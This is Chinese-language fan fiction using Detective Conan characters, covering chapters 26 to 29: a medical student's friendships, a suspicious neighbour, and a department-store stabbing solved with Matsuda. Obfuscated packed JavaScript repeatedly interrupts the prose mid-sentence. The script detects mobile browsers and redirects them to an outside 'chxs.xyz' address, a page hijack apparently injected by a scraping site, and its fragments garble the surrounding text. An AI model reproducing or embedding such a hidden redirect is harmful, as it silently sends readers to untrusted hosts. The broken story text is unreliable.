她只是一个普通人,所以哪怕只有千分之一的概率,也必须尽力。 导师那边又不能不管,毕竟是自己的大老板——而且确实对他们也很好,只能疯狂抽空做实验。 有里从沙发上起身加入他俩的工作,却被离得近的诸伏景光伸手拦住。 “开玩笑的,”诸伏景光笑着把桌上的袋子递给她,“从学校来得时候买了面包,早上还没吃吧。” 于是当事人又坐回了原地拆开面包,当一位称职的监工。 “对了,冰箱里有饮料和矿泉水,你俩自己拿。”这是知道两人今天有空过来帮忙她提前准备好的慰问品。 “话说这样的搭配你们不觉得很可靠吗,”她又拆开了一起打包过来的牛奶,“这样你俩以后在医院就有人脉了,万一受个伤或者用个药,我还是能提供点帮助的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12632052|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这听起来可不是什么好事,”降谷零这会已经把桌子组装完毕,正在用螺丝再次加固四肢,“我们可不敢让没有医师执照的人帮忙。” 有里捂住胸口做痛心状,这家伙算准了她本科在读没有资格申请参加考试,“没想到我们朋友一场,你竟然不相信我的能力。” 降谷零显然不吃她这一套,认真点头,“我当然相信通过国家认可的专业医生啊。” 好吧……有里放弃和这人再挣扎,就该让他一直拧螺丝! 诸伏景光也没打断两人之间的斗嘴,不如说他觉得这两位有一种乐在其中的感觉。 “不过你还是得注意分寸,”诸伏景光没忍住开口,按照有里的说法,她才在这里临时落脚了一周不到,就这样的频率,角落里面的罐装咖啡已经少了半箱。 “不用我再提醒了吧,这样过度消耗自己的精力难受的是你自己。” “好的好的……”有里略带心虚地把人从那个地方赶走,又把纸箱悄悄合上——眼不见心不烦。 明明她出门的时候特意把之前喝完的咖啡罐扔掉,百密一疏啊! 说点什么岔开话题吧…… “对了,听说这一届和你们一起进来的新生,有一位在人际交往方面相当了不起,虽然和不少女生都有过暧昧的传闻,不过本人意外风评很好。” 这完全是有里从她的同学那里了解到的——她自己没有见过,但是这位同学的传言已经到了三年级前辈都感兴趣的程度,真的是有点夸张的程度。 毕竟一所学校里面那么多学生,也不缺长得好看的新生,这样的情况凭借出色的社交能力传到别的学院还是很少的。 不过…… 诸伏景光想了想,然后看向自己的幼驯染,对方也很干脆地摇了头。 “听起来是个很有趣的同学,有机会真想认识一下呢。”诸伏景光如是回答,言下之意就是没听过不了解不知道。 怎么回事,难道传言有误? 当然,事后有里从朋友那里得知——这位同学正是萩原君,大概是性格相当不错又很会活跃气氛,成功打入了各种联谊活动的聚会。 而降谷零和诸伏景光,想都不用想,这种活动是绝对不会主动参加的。 —————— 结束后有里非常有诚意地请他们去了附近有名气的和牛烧烤店。 虽然诸伏景光和降谷零选择偶尔也会选择在放松的时候喝点啤酒,不过和女生的话两人还是默契地选择了乌龙茶。 “一个人住的话还是要保持警惕,”虽然这里的地理位置不算偏僻,诸伏景光还是难免担心。 “喔……” “你到底有没有在听我说话啊?”诸伏景光晃了晃冰杯。 这个问题有里自己当然也会注意,“不过附近就有警方的岗亭,没有这么胆大的犯人吧。” “总之有困难的话随时联系我们,是吧,zero。”诸伏景光很靠谱地给出承诺。 意外被cue的幼驯染本人:“看在这顿烤肉的面子上,我同意了。” 26.石川恭一 “那么下次再见。” 烧烤店的位置就在医院附近,诸伏景光和降谷零把有里送到公寓楼底下就离开了。 虽然有里不是那种能如数家珍地报出来自己认识的每一个人名或者看一遍就能完美记忆一篇文献的人。 但是……对于某人曾经短暂接触或者有过留意的人,她还是相信自己的印象的。 就像刚刚在烧烤店瞥见的那个人影,非常像自己在高中时期遇见的那位石川恭一先生。 哪怕对方两次遇见都是穿着不打眼的黑色的衣服……也很难让人忽视。 再加上这几天有里和邻居们遇到的时候,都有在提醒她不要去招惹201那个怪人。 “看起来总是神神秘秘的,不知道是在干什么工作,”203的小松女士这样评价,“不过当然也没有那么危险,毕竟这里的承租规则可是要提供正式的身份证明,估计就是性格太孤僻了吧。” “说的也是,”有里把买来插花的玫瑰抽了一根根这位女士,成功获得了对方更多的喜爱度。 “总之生活上有什么问题,尽管来找我就好了。”小松女士最后拍着胸脯保证。 这会比起有里他们现行离开十分钟左右的石川恭一,却和她一样两手空空得出现在了电梯里。 没关系——她本来就是刚搬来这栋公寓楼不久,为人友善的大学生。 “您也是住在二楼的嘛,太巧了,”有里率先开口,“我是最近新搬来的,住在204号房,请多关照呢。” 石川恭一单手插着口袋,只是瞥了她一眼点头,没有任何要开口搭话的样子。 事实上,这个眼神绝对称不上友善——不知道是这个人本身长相如此还是特意做出来的表情。 总之眉头下压,眼睛也很锐利,一看就不好惹的样子。 怪不得小松女士会告诉她没事别搭理——毕竟那位身材微胖的女士虽然嘴碎了点,但看得出来还是一个热心肠的人。 对方没接话,就算是再硬着头皮说下去尴尬的也是她自己,加上二楼到的很快,石川恭一丝毫没有让女士先下的觉悟,照例自己先走了出去,打开201的房门没有回头。 呼……有里叹了口气,没再多看,打开204的门走了进去。 在她关门的同时,201的房门也同时被合上,两道声音重合在一起,无法辨认。 真的很奇怪——十分钟的时间差足以让先行离开的石川恭一会到公寓。 看起来也不像是顺路去买了东西的样子…… 有里无意引起石川恭一的警惕,所以并没有说出刚刚在烧烤店看到了对方这件事情,毕竟当事人坐在一个非常隐蔽的角落——可能是碍于这样案发率极高的地区,有里在进入店铺的下意识反应就是查看各个角落…… —————— 石川恭一关上门,在电脑里再次调出文件夹里属于【204】的记录,里面包含了外守有里的基础个人信息,连同她的职业身份。 ——只是一个有点聪明的女生,性格并不令人讨厌,准确说是大多数人都会有不错印象的女生,是堂堂正正站在阳光下的人。 如同最开始的文档上方写下的【安全】字样一样,石川恭一同样也得出了这个结论。 他按了按眉心,这些资料当然都有提前发给他,没办法,这么多年来他小心潜伏至今,靠的就是谨慎和低调。 但这是必要的选择。 为了更多人能站在阳光下。 —————— 在东都大学校园如此辽阔的情况下,有里觉得自己还能遇到两位熟人真是相当不容易。 萩原研二就像一直保持联络的好友一样,自然地端着餐盘坐到了有里对面,松田阵平在他旁边落座。 “好巧,这里没有人吧。”萩原研二笑眯眯地提问。 拜托……您已经坐下了再问这个问题是不是有点多余。 “没有。”有里还是回答,这是事实。 “对了,前辈没有在机械工程专业吗?” 萩原研二还以为当时能和自己幼驯染聊得那么开心的人,也会选择同样的研究方向。 “没有,我在医学部,”有里诚实回答,“不用叫我前辈了,大家没差多大。” 虽然这里前后辈观念很受重视,但是被面前这位自己上辈子就“见过的”大前辈叫前辈。 还是莫名有点不自在。 况且降谷零和诸伏景光也没有特意用上这种称呼。 总之,还是自然点吧。 萩原研二愣了一下,以为这是对方拉进距离的表现,毕竟这两年每年过年彼此还是会发送新年祝福的程度。 于是他从善如流地应下,“那更厉害了诶,看来有里酱是全方面都很优秀的人。” 该说不说,这人真的是适应状况良好? 松田阵平倒是习以为常,没有这家伙拉不进的女性关系。 所以在萩原研二自然地变换了称呼时,他也只是懒懒地眨了眨眼。 “别这么说,这里最不缺头脑聪明的人了……”有里岔开话题,“你们怎么这个时间才来吃饭。” 她来的晚是因为下午先去了一趟办公室,不过正常来说这个时间早就该吃过晚饭了才对。 “因为做实验耽误了会,”萩原研二回答。 诶……她还以为是又和女生社交耽误了。 “有里酱为什么这样意外,”萩原研二扶额,“我看起来是那么不着调的人吗?” 她没说出来吧! 有里震惊,萩原研二莫不是回什么读心术。 倒是一旁的松田阵平没忍住接了句,“是。” 成功被自己的幼驯染在桌子底下踢了一脚。 “哈哈,”被揭穿多少有点尴尬,虽然那句话不是她说的。 萩原研二没打算这样放过他俩,“好啊,小阵平就算了,连有里酱这样可爱的女生都这样说的话,我可是真的伤心了。” …… 说实在话,这很难想象…… 萩原研二才不管桌上的另外两人配不配合他的戏份,“那么这里就留下两位有共同话题的人吧,被伤害到的人现在需要独自疗伤。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对,”松田阵平刚刚发短信谴责了一遍自己的好友,理所当然地收到了对方发来的一个笑脸.JPG。 算了,回去再好好聊聊。 “一起吧。”既然说了也,那肯定是顺路的事,再特意避开也太奇怪了。 松田阵平停顿了一下,补充道:“萩让我转告你他这次真的是有事情才会离开的,下次再一起吃饭。” 得到了这句承诺,有里才真正放下心来——下次一起吃饭的意思肯定不是真的生气,萩原研二真的有去演戏的潜质啊。 这句话当然是松田阵平随口胡编的,但是擅自做主造成这样局面的罪归祸首,真的要他请吃饭也是理所应当的……不然身边这位怕是要担心一个晚上。 “你们关系看起来非常好。”她还以为那五个人都是在警校相识成为好友的,不过这样看来两两一组提前批啊。 话说为什么这样的人也要当警察——难道东大的思政教育如此优秀,还是和警视厅签了什么批发协议? 这样一来她如果哪天在东都大学碰见最后一位伊达航,也会生出来一种【果真如此】的微妙感觉吧。 但是以现在的关系问松田阵平这样的问题也有些不合时宜…… “是,我们从小一起长大。”这是在回答她。 有里侧目,身边这位虽然话少了点,但意外地不算难相处的性格…… 这样想来第一次见面其实还算融洽,两人很大程度上一拍即合用那样的方式消磨了时间。 “到了。”松田阵平停下脚步。 27.假面超人 【米花百货大厦】作为附近规模最大的大型商场,每天的人流量都相当可观。 “但这种人挤人的程度,是不是有些夸张了。”有里本该和松田阵平在三楼分别,各自去干各自的事情…… 不过在电梯口却因为前后的人流一时没能如愿走出序列。 一路被“裹挟”着来到了六楼。 松田阵平则是因为他要去的楼层需要在六楼换乘另一个方位的电梯。 这种大型商场经常会这样设置——客人不能够一路直达到自己想去的楼层,扶梯的设置总是不连贯……总之,要是有客人在赶路的时候又被途径的哪家店铺吸引了视线,商场的目的就达到了。 还是直梯好…… 但是看今天的样子,怕是等一趟直梯需要好几十分钟,早就被人围的水泄不通了。 “妈妈快点快点,假面超人要开始表演了!” 假面超人果然在这里是永恒顶流的存在,有里依稀这系列影片上映还是在高中时期,那个时候同学里就有很多爱好者了。 这部特摄片的效果意外得好,听说出品方一开始只是设定为短篇完结的作品,不过没想到大众反响如此热烈,这才连载了下去。 舞台设置在这一层的正中间,要绕到另一个电梯必须要经过人群。 “松田同学也喜欢看吗?” “谁会喜欢这种小孩子才看的东西啊。” 诶……视线可疑地转移了呢。 “是吗……可是我觉得很有意思呢。”舞台上的假面超人正和对面的怪兽对峙。 按照剧情正反双方应该交手几个回合,然后邪恶一放被打败。 感谢工作人员没有太敷衍或者防水——让我们的主角【假面超人】一招制胜。 “啊——” 伴随着男男女女的尖叫声,一个穿着一身黑衣,带着鸭舌帽和口罩的人径直冲到了台上,目标正是那位穿着道具服的超人先生。 “可恶!”松田阵平暗骂一声,从人群中向台上冲去。 移动速度并不算快——他们只是恰好经过舞台区的人,前排早就被围绕地水泄不通了。 有里同样在第一时间向台上冲去,感谢松田阵平在前方开路,她的目标当然是救人。 现场秩序十分混乱,反应过来的客人第一时间就是从电梯离开,可惜人流太多,保安也来不及维持秩序——这样下来很容易发生踩踏事件啊。 松田阵平在开路到一半就换了方向——那位蒙面的凶手已经从舞台上离开。 刀子还插在伤者的腹部,幸好不是心脏或者颈动脉,要不然这位先生直接可以思考下辈子去哪投胎了。 “麻烦您报警和叫救护车。”有里对一旁的主持人小姐说,路过的时候顺带抽下来了布置台面的布料。 “啊……好的。”主持人小姐也反应过来,这会连忙行动起来,人还有救就是好事。 “血型是A型,已经麻烦您也跟医院那边说一下伤者的情况,”这种情况当然是提前跟医院那边告知的消息越准确越好。 有里刚刚从脸色苍白的伤者口里得出了他的血型,同时把他脸上的面具摘下——这样呼吸也会好受一些。 “您别动了,这里交给我处理就好!”有里惊悚地看着想要移动自己伤口处刀子的人,这家伙真的很想见阎王吗! 异物插进了身体,当然不能自作聪明拔掉它,不懂医学知识的人盲目把刀子拔出,很有可能会造成二次伤害,在这个过程中万一挑破更多血管就得不偿失了。 被她吼了一句的男士也停止了动作,看起来心态还不错,“哦,拜托你了。” “插在伤口的刀子暂时堵住了伤口,可以阻止血液的流出,一旦拔出血液大量外流,你可能会因为失血过多造成大脑缺氧,这样可就真的是我把你送走了。” “您还挺幽默,”这位叫做片冈正一的先生正在回忆自己的社交圈,“我得罪了什么人吗?” 有里用刚刚那块桌布围绕在刀子周围,用手死死按住,又把自己的外套脱下来披在片冈正一的身上,“这是为了避免失血过多导致的体温下降,别介意。” 虽然是女士的衣服,片冈正一这会当然也不可能和这位好心的女士嫌弃这些,“太感谢了。” 他的意识也开始模糊,虽然有里很想从对方这里得到更多有可能的线索,但显然片冈正一支撑不到那个时候了。 警方和救护车几乎是同一时间来的,现在百货大厦的出入口都被封锁,说明凶手还在这里。 和医护人员再次说明情况后有里走到松田阵平身边,看来刚刚没有追到。 甚至从松田阵平身上的水渍来看,还有些狼狈? “你这是?” 黑色卷发的男人明显这会心情非常糟糕,“凶手没有离开这层,去了洗手间,我进去的时候里面有三个人,正在那边进行盘问。” “哈……”有里按住自己上扬的嘴角,理智告诉她这会笑出声下场会很糟糕,“您这算是为了正义献身……相当优秀。” 不用松田阵平把话说得那么明白,有里也理解了他潜藏的意思——凶手进入了女洗手间,然后,追捕犯人没有留意……或者就算留意到了性别不对也不打算放手的这位马自达同学,直接冲了进去。 然后被里面正巧遇到的某位女性泼了一身水。 有点可怜…… “目暮警官,”有里这是第二次见到这位咖色衣服脸圆圆的搜查科警官,真是有缘分啊。 “啊……你是?”目暮十三摸着脖子想了想,露出了一个略带尴尬的笑容。 “几年前在帝丹高中附近的拉面店遇到过一起案件,当年负责的警官也是您。”有里及时提醒。 知道这些警官每年不知道要面对多少案件,中间经手的每一位嫌疑人都记住显然不太可能。 “哦!原来是你啊,”目暮十三记得那起案件最后还是依靠他的好友工藤优作才侦破的。 “刚刚给受害者进行临时处理的那位女士就是你啊。” “是的,方便告诉我们一些关于那边三位嫌疑人的情况吗?” “这个……”目暮十三犹豫了,这种内情似乎不适合告诉普通群众。 有里眨眨眼,一把拉过正在旁边拧衣服的松田阵平,“我的朋友刚刚可是一路追着凶手,还保证她们三位在警察来之前都不要离开的人呢,说不定知道一些消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“中间那位带孩子的母亲说自己也是先听到有人进来了,然后就是开锁关门的声音,不过对方关门的力气似乎很大,像是甩上一样,她只觉得这人可能心情不好。” “最后那位大学生说自己一开始没听到什么特别的,后来可能有类似于什么东西落在地上的声音,不过并不明显。” 目暮十三说完之后抱着期待的目光看着两位——显然对面的人没有给他想要的答案。 不是,他在期待什么……目暮十三摇头,可不是所有人都是想工藤老兄那样敏锐的侦探。 空手从目暮警官这里套取到信息的有里没有丝毫心虚,和抢先一步离开的小伙伴会合。 凶手把自己的装备扔在了清洁工使用的隔间里,连同作案时的手套,所以很难从这里查出来具体的线索。 这个凶手应该是个十分大胆的人,“要是恰好进入洗手间被人看见,不就糟糕了嘛。”有里这会在挨个打开洗手间的隔间,放置衣服的那间在最后一间。 “所以当初在这一间的是谁?”有里指的是旁边的那一间。 “不知道。”松田阵平叹了口气,他被阻挡在门外自然和那位女士发生了争执,里面的人听到了声音都洗手台和隔间刚好有一个拐角,没有办法看清。 “这也没办法,不过……真的会有人赌这个概率吗?” 难道凶手打算在隔间外换下自己的衣服然后扔进去——这是不是有点草率…… “你说的对,”松田阵平点头,“既然凶手提前做好了准备,那么她一定要保证自己进入的这个隔间里面是没人的状态才好……所以很大可能,这件门被反锁了。” 28.偏执动机 “是用了这个吗?”有里在堆了洗手台那里的垃圾箱里翻出了一个不太完整的可乐瓶。 “啊……”松田阵平挑眉,“既然是现场准备的,那么一定会有人见过谁曾经购买过。” “毕竟今天为了宣传假面超人的活动,售卖的饮料瓶上可是都贴了它的logo,”有里把东西交给鉴定科的警察,“而且我猜这位女士在使用过后应该没有把物证快速处理掉。” 毕竟这种东西不管是从下水道冲走还是扔到垃圾桶里,都是十分扎眼的存在。 “所以只需要好好检查就好了。”松田阵平和她一起回到目暮警官旁边。 “但是没有确切证据很难再次搜身。”有里无奈道,搜查课的警官不是傻子,既然是嫌疑人肯定都进行了检查,不过看起来没有人有什么特别的道具在身上…… 总之,这位凶手很会藏啊。 “既然这样,就直接挑破如何。”松田阵平有些烦躁,明明是非常好解决的案件,果然在警视总监的带领下这些人还是一贯地不靠谱呢。 有里伸手把他拦住,“其实换个角度……既然三位嫌疑人和受害者片冈正一都没有联系,那么针对的对象自然就是假面超人这个目标。” “你的意思是?” “那位加入假面超人俱乐部的大学生自然不可能是对喜欢的偶像出手。” “而第一位店员,只有她主动提到了嗤嗤的声音,如果是犯人,绝对不对做出这样的答复。” “啊……”松田阵平抬头,直视着那边正弯腰抚摸自己孩子的母亲,“如果是这样的话,那犯人很明显了。” ———— “什么,你知道犯人是谁了!”目暮十三震惊地回头,身旁这位一脸冷静的男生突然就扔下这样一句话。 但绝对是一件好事。 有里走到中间弯下腰,“小朋友,跟姐姐去那边的椅子上坐一会好吗,妈妈很快就会过来陪你。” 因为目睹案件现场还在啜泣的小孩子怯生生看了自己妈妈一眼,得到一个肯定的点头才跟着有里离开。 松田阵平无意再拖延时间,那边按照他们商量好的——有里把小朋友带走,不让他听到这些事情之后再开始行动。 “诶,为什么是我来陈述啊。”松田阵平本能得想要拒绝。 “拜托,”可能是一起经历了这次事件,有里自觉和这位松田同学的关系也拉进了一点,说话也没那么拘谨,“总不能当着小朋友的面说这些吧,还是你去陪小孩?” 想都不用想,松田阵平在这两者之间肯定会选择陈述推理结论。 “我们先从犯人在洗手间使用的诡计开始。”松田阵平把一行人带到那里,“犯人将衣物扔在堆放清洁工具的隔间一定是早有预谋,这样做的同时,她必须要保证自己能够在隔间进行更换衣物的操作。” “你说的没错。”目暮十三认可,他自然也想到了这一点,“但是她们三位都不承认自己使用了隔间,并且都对于彼此是哪一没有印象。” “没有关系,”松田阵平眼神很锐利,“如果她要使用就必须保证自己在进入这里时这间隔间处于没有人的状态。” “可是这要怎么保证呢?”目暮十三很自然地发问。 “那么请您现在试试吧。”松田阵平退后了一步,给这位警官留出位置。 “什么啊……”虽然不懂但目暮十三还是很给面子地配合,“这是,里面有人吗?” 他很快否认了自己的想法,毕竟这是重要的现场之一,肯定是封锁状态,“里面被人反锁了。” “是的,”松田阵平从隔离拿出清洁用的拖把掩饰了一下,“这应该是凶手在穿上自己行凶装备后锁上的,只需要像这样向下勾住就好。” “那她是如何开锁的呢?” “这就要提到我们在外面发现的工具了,”松田阵平刚说完,鉴识科的人员就拿着刚刚那个破碎的瓶子交给了目暮十三。 “这是?” 松田阵平拿出自己刚刚购买的瓶子,把里面的水倒干净后,拿出剪刀从中间剪开。 “用这种软一点的瓶子对着门锁的位置像刷卡一样划。” “竟然打开了!”目暮十三诧异道,“所以那个奇怪的嗤嗤的声音,就是你刚刚用塑料的声音。” “是的,所以主动提出这一点的店员小姐不会是凶手。”松田阵平直接指向了那位中间的女士,“犯人是你吧。” —————— 外面,有里拿着刚买的零食和小朋友分享——果然还得是这样才能收买小可爱的心。 “姐姐你真好,”小男孩吃着薯片很开心地说,“我妈妈从来不允许我吃这些。” “诶,”有里停顿了一下,还是没忍住开口,“那在你眼里妈妈是个怎样的人。” “喔……”小男孩吃东西的手停下,“虽然妈妈总是对我很严厉,但我知道这都是因为她很爱我,我也很爱她。” “这次她能带我来看最喜欢的假面超人,我真的超级幸福。” 小男孩的眼里闪着光,有里用手轻轻抹了抹他的嘴角,“我想她一定是一位相当了不起的母亲,所以你永远是被爱着的。” ———— 里面的推理也进行的相当顺利,没有到松田阵平和有里预计的那一步——调取所有监控看今天谁购买了饮料或者再次全面搜身,犯人就自己交代了罪行。 “是我下的手,”诡计被识破的女人跌坐在地上,“我只是不明白这种打打杀杀的剧情有什么吸引人的,而且我更担心我的孩子花在上面的时间越来越多,万一他也把自己代入了里面所谓正义的超人或者银河护卫队这样的形象,真的去行使暴力怎么办!” “我只是,我只是不想让他收到这种负面教导!” “真是愚蠢!”一向好说话的目暮十三忽然变了脸色大喊出声,“不让孩子看这些可以,那么也不让孩子看新闻吗?当新闻中真实发生的伤害甚至是杀人案件出现的时候,你又该如何解释?” “或许是认为孩子还小,就将一切自认为的外界不良信息进行屏蔽?这样做现实吗?能屏蔽得了吗?你认为在孩子多大的时候,才能让孩子认识这个世界本来就有的一些样子?” 松田阵平默默接了一句,“你没想到你担心他因为看到电视里的剧情学坏,可你今天可是用亲身行动真的让他‘上了一课’。” ———— 后来还是松田阵平给有里转述了她的杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12673049|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人动机。 确实很令人唏嘘。 “因为少见,所以多怪,因为才闭,自然识浅,内心风声鹤唳,才会满眼草木皆兵。” 有里说完这句话才恍然,是不是因为自己最近偶尔和诸伏景光聊天紧绷着弦,颇具对方的风范。 “但是她的孩子,其实很好。……” 目暮十三考虑到对孩子的影响,是在犯人上了警车后才戴上的手铐,但这又能隐瞒住多久。 “虽然父母对孩子的影响和教育确实占比很大,但并不是一个孩子成长路上会遇到的全部‘老师’,”松田阵平顿了顿,“他会是一个不错的大人。” 可能是没想到松田阵平的嘴里能主动说出来这样的话,有里再次刷新了自己对这位帅哥的认知。 “你看起来很惊讶?”松田阵平挑眉。 “诶……”有里换了话题,“只是觉得今天幸好是和松田同学一起来了这里。” “要不然根本没人去追犯人,这样混进人群之后会很难办。” 事实如此——一方面因为在场的都是家长领着自己的孩子,在出了这样的事情之后没人放心把孩子一个人留在这里去追; 另一方面,大多数人的反应速度也没有那么快,就连松田阵平这样好的体力挤开人群也耗费了很多时间。 对此松田阵平没有回复,“快把东西买完回去吧,衣服这么湿漉漉的沾在身上很难受。” “啊对了!”有里一拍脑袋,自己这聊着天忘记了正事,“刚刚我和那位小朋友一起去服装店买了衣服,你先换上吧……要是感冒了就糟糕了。” “那谢谢了,”犹豫了一下松田阵平还是接过,欠了人情日后再还吧。 “可别觉得你欠我了人情,”有里干脆利落地说,“这都是因为那位小朋友注意到了这一点和我提醒才会发现,所以感谢他吧。” …… 松田阵平难得在萩原研二之外的人这里感受到语塞。 衣服穿上倒是尺码合适——意外得非常像自己平时的穿衣风格。 如果是萩,趁这个机会保不齐会硬塞给自己一件花衬衫再好好拍照。 话说回来,手机从刚刚就震得不停,不用猜也知道是自己的幼驯染发来的消息——因为案件的原因他已经出来了太久,按照萩关心自己的程度……等等,他一定会去问外面那位女士。 有里的手机在松田阵平想到这一点的时候同时响了起来,竟然是萩原研二? 两人在此之前都是短信联系可没有通过话。 “是小有里吗,这里是萩原研二,小阵平和你在一起吗?” “啊……是的,”萩原研二难得讲话这么急迫,于是有里也没有过多解释,先捡了对方在意的重点来说,“我们还在百货大厦,他去换衣服可能没看到手机,一会我让他回给你。” “这样啊!”萩原研二的心情从担心变回了吃瓜,“没关系不用告诉他了,你们好好玩就好,那么再见啦!” 等对面挂了电话,有里还是愣神状态——这么关心彼此,莫不是最好两人能绑上什么对方的生命体征检测手环带定位功能才好。 而松田阵平从愈发频繁的短信轰炸感觉到今晚要解释的东西会很多。 29.笔录工作 “加奈警官,”那起案件结束之后,还有后续的笔录工作需要她们配合,有里和警视厅搜查课那边约定好了时间,没想到这次负责接待的竟然是一位老熟人。 “真的是你啊,”加奈川对这位女生倒是一直有印象——当年那起案件他也在场,并且还聊了很久。 虽然自己得知了这位女生的情况很有想要帮助的心情,不过这几年下来对方也没有主动提出什么诉求,只是在过节时发来问候。 “听到名字我还有些不确定,”加奈川出示了自己的证件,和门口的警卫打过招呼,带着有里一起往里走,“想不到你现在已经在东都大学读书了。” “而且这次的受害者片冈正一先生也对你十分感谢,医院那边也向我们反应多亏了你处理及时,才会有造成更大的伤害。” “只是作为医学生的本能罢了,”有里略过这些客套话,“对了,那天和我一起的那位松田同学也来了吗?” 按理说比起她这个负责抢救的当事人,松田阵平作为追凶加锁凶的选手,更应该详细做笔录才对。 “嗷,那位同学啊,他在前几天和自己的朋友一起来的,”说到这里,加奈川有点无奈,“不过那位同学当天进入警局之后看起来心情不是很好呢。” “诶……”其中的原因有里也不清楚,“可能是临近期末要赶作业,毕竟我那位朋友还是非常有正义感的。” 加奈川点头,“这我们当然清楚,能当场追踪凶手的人,做出嘉赏还来不及呢。” 说话间,两人也来到了搜查一课的办公层。 “竟然没什么人呢。”有里还以为会看到不停走来走去,随时拿着咖啡待命,以及倒在躺椅上补觉的警官。 加奈川解释,“毕竟我们警视厅刑事部搜查一课强行犯搜查三系是众所周知的最忙碌的科室,基本上都是在出任务的状态,所以一直也是很缺人手的。” 虽然缺人手,但准入门槛一定也非常高吧。 “那位跟在目暮警官身后的警官,”有里一眼就看到了这位警官……和其他人略有不同的感觉,“好像之前没有见过呢?” “嗷,那位呀,是毛利警官,”加奈川很好脾气地说道,“之前隶属于警视厅搜查一课纵火犯搜查一组,不过听说是因为一手好枪法才被调入我们这里的,其实上级对人才还是很爱惜的。” “看起来和目暮警官关系很好的样子呢。”这位毛利警官总让有里感觉有些眼熟,而且一直跟在目暮十三周围,完全是一起行动的状态。 说到这里,加奈川失笑,“他们两人最近经常一起侦办案件,不过由于他的加入,经常在案件中让同事们误入歧途……目暮警官也是又爱又恨呢。” 听得出来,这是个玩笑话。 看来这位毛利警官在这里的人缘还不错。 —————— 然后……刚刚还在被两人讨论的毛利警官,一个闪现突然出现在了有里的面前。 “啊,这位美丽小姐,请问您来这里有什么事情吗,我毛利小五郎一定会帮你解决的。” 好快…… “哈……”这位警官的出场方式,还真是不同寻常。 “喂,毛利老弟,”目暮十三一脸无奈地走了过来,“不要说话说到一半就突然消失好不好。” “诶呀!”毛利小五郎挠了挠自己的脑袋,略显心虚的样子,“这不是看到美女的条件反射吗?” 加奈川警官轻咳一声,打断了两人的对话,“目暮警官,毛利警官,我先带她去做笔录了。” “你们先忙,”目暮十三一脸恨铁不成钢地拽着自己的部下离开,这家伙什么时候能靠点谱啊。 “我们下次再见!”毛利小五郎离开的时候还不忘和有里打招呼。 “真是一位……有趣的警官。”有里斟酌了一下用词。 对此加奈川也很尴尬,“其实毛利警官和他的妻子感情很好,两人是青梅竹马一起长大,现在也有了一个女儿,在家人面前毛利警官还是很靠谱的。” “这样啊,我想也是。”有里很识趣地顺着对方的话题说。 笔录没有话费太多时间,或许是有了之前松田阵平的证明,她这里只是需要对一些细节再次确定,有里在书面文稿上签字按指印后就结束了今天的行程。 虽然是周末,但是已经出门了,她不介意去学校转一圈。 —————— “诶,所以我只是顺便被你喊来约饭的人是吗?”诸伏景光装作生气的样子开口。 “反正大家都很闲的样子。”有里往嘴里塞了一大勺抹茶冰淇淋——她才不管饮食的先后顺序。 “有点良心吧……”诸伏景光发现这人现在真的是柴油不进,“我和zero本来说是今天去图书馆呆一天的,这不是为了和你这个大忙人见一面赶过来了嘛。” 有里飞速吃完了自己那份苦味等级最高的冰淇淋,又“趁其不备”抢过了对面那份,“我太感动了,既然这样我就帮你消耗一下这种冰冷刺激肠胃的东西好了。” 没办法,这家店的冰淇淋是跟着套餐一起配备的,想要单点都不行。 而且一份也只有一个冰淇淋球的大小,根本不够吃啊——事实上,对于有里来说,这份套餐,不,这家店唯一值得她光顾的就是这份冰淇淋球了。 为什么会有咖喱店把甜食做得比正餐好吃啊! “既然这样,一会我去买旁边那条街上的咖啡送给降谷同学,”有里很好心地提议,“那家店的咖啡可是出了名的提神醒脑,听说很多期末周的同学都是靠它备战三天三夜呢。” “那我先代替zero真是谢谢你了……”要是真的有这种效果,怕是咖啡里面加了什么不得了的东西吧。 诸伏景光眼睁睁看着她拿走自己的一份没有任何动作,他又不是没发现这人的打算,毕竟在选择口味的时候自己也特意选了味道最苦的那种…… 有里哪天要是来这家店不抢他的那份才是奇了怪了。 话说回来——不然自己回家的时候试着研究一下? “不过今天周末,医院也没有事情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12693706|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话为什么要来学校这边……” 不如在家里好好休息。 “嗷,说到这个,”有里觉得有必要和自己的小伙伴 . 假面超人爱好者 . 